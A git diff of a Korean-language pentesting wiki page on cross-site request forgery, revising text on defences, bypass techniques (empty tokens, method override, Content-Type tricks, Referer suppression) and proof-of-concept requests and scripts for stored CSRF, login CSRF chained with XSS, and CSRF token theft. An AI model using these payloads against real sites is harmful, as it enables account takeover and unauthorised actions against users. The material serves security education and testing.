diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4c7d77d24..ff94a56ed 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -487,6 +487,7 @@ - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) + - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 0a953bf5d..9b15f9db5 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -4,49 +4,56 @@ ## Cross-Site Request Forgery (CSRF) 설명 -**Cross-Site Request Forgery (CSRF)** 은 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 사용자의 인증된 세션을 악용하여 사용자를 대신해 작업을 수행할 수 있습니다. 이 공격은 사용자가 피해자의 플랫폼에 로그인한 상태에서 악성 사이트를 방문할 때 실행됩니다. 해당 사이트는 JavaScript 실행, 폼 제출 또는 이미지 로드와 같은 방법으로 피해자 계정에 요청을 전송합니다. +**Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 인증된 세션을 악용하여 사용자가 모르는 사이에 그 사용자를 대신해 동작을 수행할 수 있습니다. 공격은 피해자의 플랫폼에 로그인된 사용자가 악성 사이트를 방문할 때 발생합니다. 해당 사이트는 JavaScript 실행, 폼 제출, 이미지 가져오기 등과 같은 방법으로 피해자의 계정에 요청을 발생시킵니다. -### CSRF 공격을 위한 사전 조건 +### CSRF 공격을 위한 전제 조건 -CSRF 취약점을 악용하려면 몇 가지 조건이 충족되어야 합니다: +CSRF 취약점을 악용하려면 다음과 같은 조건들이 충족되어야 합니다: -1. **Identify a Valuable Action**: 공격자는 사용자 비밀번호, 이메일 변경 또는 권한 상승과 같이 악용할 가치가 있는 작업을 찾아야 합니다. -2. **Session Management**: 사용자의 세션은 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다. -3. **Absence of Unpredictable Parameters**: 요청에 예측 불가능한 매개변수가 포함되어 있지 않아야 합니다. 이러한 매개변수는 공격을 방지할 수 있습니다. +1. **가치 있는 동작 식별**: 공격자는 사용자 비밀번호 변경, 이메일 변경, 권한 상승 등 악용할 가치가 있는 동작을 찾아야 합니다. +2. **세션 관리**: 사용자의 세션은 오직 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다. +3. **예측 불가능한 매개변수의 부재**: 요청에 예측 불가능한 매개변수가 포함되어 있으면 공격을 방지할 수 있습니다. ### 빠른 확인 -요청을 Burp에서 캡처하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다: +요청을 **Burp에서 캡처**하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다:
-### CSRF 방어 +### CSRF에 대한 방어 -다음과 같은 여러 대책을 구현하여 CSRF 공격으로부터 보호할 수 있습니다: +다음과 같은 대응책들을 구현하여 CSRF 공격으로부터 보호할 수 있습니다: -- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 사이트 요청과 함께 cookies를 전송하는 것을 방지합니다. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). -- [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 가능성에 영향을 줄 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 할 경우에 그렇습니다. [Learn about CORS bypass](cors-bypass.md). -- **User Verification**: 사용자 비밀번호 입력을 요구하거나 captcha 해결을 통해 사용자의 의도를 확인할 수 있습니다. -- **Checking Referrer or Origin Headers**: Referrer 또는 Origin 헤더를 검증하면 요청이 신뢰된 출처에서 오는지 확인할 수 있습니다. 그러나 URL을 세심하게 조작하면 제대로 구현되지 않은 검사들을 우회할 수 있습니다. 예: - - Using `http://mal.net?orig=http://example.com` (URL이 신뢰된 URL로 끝남) - - Using `http://example.com.mal.net` (URL이 신뢰된 URL로 시작함) -- **Modifying Parameter Names**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다. -- **CSRF Tokens**: 세션마다 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS 적용으로 향상될 수 있습니다. +- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 출처 요청과 함께 cookies를 전송하지 못하게 합니다. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). +- [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 중요합니다. [Learn about CORS bypass](cors-bypass.md). +- **User Verification**: 사용자에게 비밀번호 입력을 요구하거나 captcha를 풀게 하는 방식으로 사용자의 의도를 확인할 수 있습니다. +- **Referrer 또는 Origin 헤더 검사**: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 왔는지 확인하는 데 도움이 됩니다. 그러나 잘못 구현된 검사를 우회할 수 있는 URL 조작 방식들이 있습니다. 예: + - `http://mal.net?orig=http://example.com` (URL이 신뢰된 URL로 끝남) + - `http://example.com.mal.net` (URL이 신뢰된 URL로 시작함) +- **매개변수 이름 변경**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다. +- **CSRF Tokens**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. CORS를 적용하면 토큰의 효과를 더욱 높일 수 있습니다. -이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다. +이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 매우 중요합니다. -## 방어 우회 +#### 방어의 일반적인 함정 -### POST에서 GET으로 (method-conditioned CSRF validation bypass) +- SameSite의 함정: `SameSite=Lax`는 여전히 링크나 폼의 GET과 같은 최상위 교차 출처 내비게이션을 허용하므로 많은 GET 기반 CSRF가 여전히 가능할 수 있습니다. cookie matrix는 [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite)를 참조하세요. +- 헤더 검사: `Origin`이 있을 때 이를 검증하세요; `Origin`과 `Referer`가 모두 없으면 접근을 차단하세요(fail closed). 유사 도메인이나 조작된 URL로 우회될 수 있는 `Referer`의 부분 문자열/정규식 매칭에 의존하지 마세요. 또한 `meta name="referrer" content="never"` 억제 트릭을 주의하세요. +- Method override: 오버라이드된 메서드(`_method` 또는 override headers)는 상태 변경으로 간주하고 POST에만 적용하지 말고 실제 적용되는 메서드에 대해 CSRF를 강제하세요. +- 로그인 흐름: 로그인에도 CSRF 보호를 적용하세요. 그렇지 않으면 로그인 CSRF가 공격자가 제어하는 계정으로 강제 재인증을 허용하게 되고, 이는 stored XSS와 연계되어 사용될 수 있습니다. -일부 애플리케이션은 다른 HTTP verbs에 대해서는 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티 패턴은 다음과 같습니다: +## Defences Bypass + +### From POST to GET (method-conditioned CSRF validation bypass) + +일부 애플리케이션은 다른 HTTP 동사를 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티패턴은 다음과 같습니다: ```php public function csrf_check($fatal = true) { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF // ... validate __csrf_token here ... } ``` -취약한 엔드포인트가 $_REQUEST에서 오는 파라미터도 허용하면, 동일한 액션을 GET 요청으로 재전송하고 CSRF 토큰을 완전히 생략할 수 있습니다. 이렇게 하면 POST 전용 액션이 토큰 없이 성공하는 GET 액션으로 바뀝니다. +취약한 엔드포인트가 $_REQUEST에서 파라미터를 받는다면, 동일한 동작을 GET 요청으로 다시 발행하고 CSRF token을 완전히 생략할 수 있습니다. 이렇게 하면 POST-only 동작이 토큰 없이 성공하는 GET 동작으로 전환됩니다. Example: @@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi ``` Notes: -- 이 패턴은 응답이 application/json 대신 text/html로 잘못 서빙되는 reflected XSS와 함께 자주 나타납니다. -- XSS와 결합하면 단일 GET 링크로 취약한 코드 경로를 트리거하고 CSRF 검사를 완전히 회피할 수 있으므로 악용 장벽이 크게 낮아집니다. +- 이 패턴은 종종 reflected XSS와 함께 나타나며, 응답이 application/json 대신 잘못하여 text/html로 제공되는 경우가 많습니다. +- 이를 XSS와 결합하면 취약한 코드 경로를 트리거하고 CSRF checks를 완전히 회피하는 단일 GET 링크를 전달할 수 있어 exploitation 장벽이 크게 낮아집니다. -### 토큰 누락 +### 토큰 없음 -애플리케이션은 토큰이 있을 때 이를 검증하는 메커니즘을 구현할 수 있습니다. 하지만 토큰이 없을 때 검증을 완전히 건너뛰면 취약점이 발생합니다. 공격자는 토큰의 값만 바꾸는 것이 아니라 토큰을 전달하는 파라미터 자체를 **제거(remove the parameter)** 함으로써 이를 악용할 수 있습니다. 이렇게 하면 검증 과정을 우회하고 효과적으로 Cross-Site Request Forgery (CSRF) 공격을 수행할 수 있습니다. +Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively. -### CSRF 토큰이 사용자 세션에 연동되어 있지 않음 +Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough: +```http +POST /admin/users/role HTTP/2 +Host: example.com +Content-Type: application/x-www-form-urlencoded -CSRF 토큰을 사용자 세션에 연동하지 않는 애플리케이션은 심각한 보안 위험을 안고 있습니다. 이러한 시스템은 각 토큰을 발행 세션에 바인딩하지 않고 **글로벌 풀**을 기준으로 토큰을 검증합니다. +username=guest&role=admin&csrf= +``` +최소한의 자동 제출 PoC (history.pushState로 탐색 숨기기): +```html + + +
+ + + + +
+ + + +``` +### CSRF token이 사용자 세션에 연동되어 있지 않음 + +애플리케이션이 **CSRF tokens을 사용자 세션에 연동하지 않는** 경우 심각한 **보안 위험**을 초래합니다. 이러한 시스템은 각 토큰이 발급한 세션에 바인딩되어 있는지 확인하기보다는 토큰을 **global pool**에 대해 검증합니다. 공격자가 이를 악용하는 방법은 다음과 같습니다: -1. 자신의 계정으로 인증한다. -2. 글로벌 풀에서 유효한 CSRF 토큰을 획득한다. -3. 이 토큰을 피해자를 대상으로 한 CSRF 공격에 사용한다. +1. **자신의 계정으로 인증**합니다. +2. **global pool에서 유효한 CSRF token을 획득**합니다. +3. **이 토큰을 사용**해 피해자에 대한 CSRF attack을 수행합니다. -이 취약점은 공격자가 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용해 피해자를 대신하여 권한 없는 요청을 수행할 수 있게 합니다. +이 취약점으로 공격자는 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용하여 피해자를 대신해 무단 요청을 수행할 수 있습니다. -### Method bypass +### 메서드 우회 -요청이 "이상한" method를 사용하고 있다면 method override 기능이 동작하는지 확인하세요. 예를 들어 PUT을 사용 중이라면 POST를 사용하고 다음과 같이 전송해 볼 수 있습니다: _https://example.com/my/dear/api/val/num?__method=PUT_ +요청이 "**weird**" **method**를 사용 중이라면 **method override** 기능이 작동하는지 확인하세요. 예를 들어 **PUT/DELETE/PATCH** 메서드를 사용 중이라면 **POST**를 사용하고 override를 전송해 볼 수 있습니다. 예: `https://example.com/my/dear/api/val/num?_method=PUT` -이것은 POST 요청 내부에 **\_method 파라미터를 넣어서** 보내거나 다음 헤더들을 사용해서도 작동할 수 있습니다: +이는 **`_method` parameter inside a POST body**로 전송하거나 override **headers**를 사용해도 동작할 수 있습니다: -- _X-HTTP-Method_ -- _X-HTTP-Method-Override_ -- _X-Method-Override_ +- `X-HTTP-Method` +- `X-HTTP-Method-Override` +- `X-Method-Override` -### Custom header token bypass +**Laravel**, **Symfony**, **Express** 등 프레임워크에서 흔히 볼 수 있습니다. 개발자들이 브라우저가 비-POST 동사를 전송할 수 없다고 가정해 비-POST 동사에 대해 CSRF를 생략하는 경우가 있는데, override를 통해 여전히 POST로 해당 핸들러에 도달할 수 있습니다. -요청이 CSRF 보호 수단으로 토큰을 담은 커스텀 헤더를 추가한다면: +예시 요청 및 HTML PoC: +```http +POST /users/delete HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded -- Customized Token 및 해당 헤더 없이 요청을 테스트해보세요. -- 동일한 길이지만 다른 토큰으로 요청을 테스트해보세요. +username=admin&_method=DELETE +``` -### CSRF 토큰이 쿠키로 검증되는 경우 +```html +
+ + + +
+``` +### 커스텀 헤더 token 우회 -애플리케이션은 토큰을 쿠키와 요청 파라미터에 중복해서 넣거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하는 방식으로 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 토큰이 쿠키 값과 일치하는지를 확인하여 요청을 검증합니다. +요청이 **사용자 정의 헤더**에 **token**을 **CSRF 보호 방법**으로 추가하는 경우: -그러나 사이트에 CRLF 취약점 등 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있다면 이 방식은 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지(deceptive image)를 로드한 뒤 CSRF 공격을 개시함으로써 이를 악용할 수 있습니다. +- 요청을 **Customized Token 및 해당 헤더 없이** 테스트하세요. +- 길이가 **정확히 동일하지만 다른 token**으로 요청을 테스트하세요. -아래는 공격을 구성하는 예시입니다: +### CSRF token이 쿠키로 검증되는 경우 + +애플리케이션은 token을 쿠키와 요청 파라미터에 중복 저장하거나 CSRF 쿠키를 설정하고 백엔드로 전송된 token이 쿠키와 일치하는지 확인함으로써 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 token이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다. + +그러나 이 방법은 CRLF 취약점과 같이 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 웹사이트에서는 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지( deceptive image )를 불러오게 한 뒤 CSRF 공격을 시작하는 방식으로 이를 악용할 수 있습니다. + +아래는 공격이 어떻게 구성될 수 있는지에 대한 예시입니다: ```html @@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" /> ``` > [!TIP] -> **csrf token이 session cookie와 관련되어 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자에게 당신의 세션을 설정해야 하고, 따라서 결국 당신 자신을 공격하게 되기 때문입니다. +> 만약 **csrf token이 session cookie와 연관되어 있다면 이 공격은 작동하지 않습니다**. 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다. ### Content-Type 변경 -According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values: +[**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에 따르면, **POST** 메서드를 사용할 때 **preflight 요청을 피하려면** 허용되는 Content-Type 값은 다음과 같습니다: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** -그러나 사용된 **Content-Type**에 따라 서버 로직이 달라질 수 있으므로 위에서 언급한 값들과 다른 값들, 예를 들어 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ 도 시도해 보아야 합니다. +단, 사용된 **Content-Type**에 따라 **서버 로직이 달라질 수 있음**에 유의하세요. 따라서 위에 언급한 값들과 **`application/json`**, **`text/xml`**, **`application/xml`** 같은 값들도 시도해봐야 합니다. -예제 (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain: +Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain: ```html @@ -162,23 +209,23 @@ form.submit() ``` -### JSON 데이터에 대한 Preflight 요청 우회 +### Bypassing Preflight Requests for JSON Data -POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Content-Type: application/json`을 직접 지정하는 것은 불가능합니다. 마찬가지로 `XMLHttpRequest`로 이 Content-Type을 보내면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type와 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 몇 가지 방법이 있습니다: +POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Content-Type: application/json`을 직접 설정하는 것은 불가능합니다. 마찬가지로 `XMLHttpRequest`로 이 Content-Type을 전송하면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type과 상관없이 JSON 데이터를 처리하는지 확인할 수 있는 방법들이 있습니다: -1. **Use Alternative Content Types**: form에 `enctype="text/plain"`을 설정해 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이는 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다. -2. **Modify Content Type**: preflight request를 발생시키지 않으면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 `Content-Type: text/plain; application/json`으로 데이터를 보낼 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가 `application/json`을 허용하도록 설정되어 있다면 올바르게 처리될 수 있습니다. -3. **SWF Flash File Utilization**: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 이용해 이러한 제한을 우회할 수 있습니다. 이 기법에 대한 자세한 내용은 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)를 참조하세요. +1. **Use Alternative Content Types**: form에 `enctype="text/plain"`을 설정하여 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용하세요. 이 방법은 백엔드가 Content-Type과 상관없이 데이터를 사용하는지 테스트합니다. +2. **Modify Content Type**: preflight request를 피하면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가 `application/json`을 허용하도록 구성되어 있다면 제대로 처리될 수 있습니다. +3. **SWF Flash File Utilization**: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 사용해 이러한 제약을 우회하는 방법이 있습니다. 이 기법에 대한 자세한 내용은 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)를 참고하세요. -### Referrer / Origin 검사 우회 +### Referrer / Origin check bypass -**Referrer 헤더 회피** +**Avoid Referrer header** -애플리케이션은 'Referer' 헤더가 존재할 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 못하게 하려면 다음 HTML meta 태그를 사용할 수 있습니다: +Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used: ```xml ``` -이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증을 우회할 수 있습니다. +이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증 체크를 우회할 수 있습니다. **Regexp bypasses** @@ -187,7 +234,7 @@ POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Conte ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 URL에 설정하려면 다음과 같이 할 수 있습니다: +URL에 Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다: ```html @@ -216,25 +263,60 @@ document.forms[0].submit() ``` -### **HEAD method bypass** +### **HEAD 메서드 우회** -이 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 부분에서는 [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281)에서 router가 **handle HEAD requests as GET requests** with no response body로 설정되어 있다고 설명합니다 — 이는 Oak에만 국한되지 않는 흔한 우회 방법입니다. HEAD reqs를 처리하는 특정 handler 대신, 요청들은 단순히 **given to the GET handler but the app just removes the response body**. +The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **HEAD 요청을 GET 요청으로 처리하도록** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **GET 핸들러에 전달되지만 앱이 응답 본문만 제거합니다**. -따라서 GET 요청이 제한되고 있다면, 단순히 **send a HEAD request that will be processed as a GET request** 하면 됩니다. +따라서 GET 요청이 제한되는 경우, **GET 요청으로 처리될 HEAD 요청을 전송할 수 있습니다**. ## **Exploit Examples** -### **Exfiltrating CSRF Token** +### 사용자 생성 HTML을 통한 Stored CSRF -만약 **CSRF token**이 **defence**로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용해 **exfiltrate it**하려 시도할 수 있습니다. +When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their 쿠키. -### **GET using HTML tags** +- If the 앱 uses a 글로벌 CSRF 토큰 that is not bound to the user 세션, the same 토큰 may work for all users, making stored CSRF reliable across victims. + +로딩될 때 뷰어의 이메일을 변경하는 최소 예시: +```html + +``` +### 로그인 CSRF와 stored XSS 연계 + +로그인 CSRF 단독으로는 영향이 적을 수 있지만, 인증된 stored XSS와 결합하면 강력해집니다: 피해자를 공격자가 제어하는 계정으로 인증하도록 강제합니다; 그런 컨텍스트에서는 인증된 페이지의 stored XSS가 실행되어 토큰을 훔치거나 세션을 가로채거나 권한을 상승시킬 수 있습니다. + +- 로그인 엔드포인트가 CSRF-able(세션별 토큰이나 origin 검사 없음)하고 사용자 상호작용 요구로 차단되지 않는지 확인하세요. +- 강제 로그인 후, 공격자의 stored XSS payload를 포함한 페이지로 자동 이동시키세요. + +Minimal login-CSRF PoC: +```html + + +
+ + + +
+ + + +``` +### **CSRF Token 탈취** + +만약 **CSRF token**이 **defence**로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용하여 **exfiltrate it** 해볼 수 있습니다. + +### **HTML tags를 이용한 GET** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` -자동으로 GET 요청을 전송하는 데 사용할 수 있는 다른 HTML5 태그들은: +자동으로 GET 요청을 보낼 때 사용할 수 있는 다른 HTML5 태그는 다음과 같다: ```html @@ -281,7 +363,7 @@ document.forms[0].submit() ``` -### Form POST 요청 +### 폼 POST 요청 ```html @@ -426,7 +508,7 @@ document.getElementById("formulario").submit() ``` -### **CSRF 토큰을 탈취해 POST 요청 보내기** +### **CSRF Token 탈취 및 POST 요청 전송** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` -### **CSRF Token을 탈취하고 iframe, form, Ajax를 사용해 Post 요청을 전송하기** +### **CSRF Token을 탈취하고 iframe, form 및 Ajax를 사용하여 Post 요청을 전송하기** ```html ``` -### **POSTSteal CSRF 토큰을 Ajax로 훔치고 form으로 POST 전송하기** +### **POSTSteal CSRF token을 Ajax로 훔치고 form으로 POST 요청 전송** ```html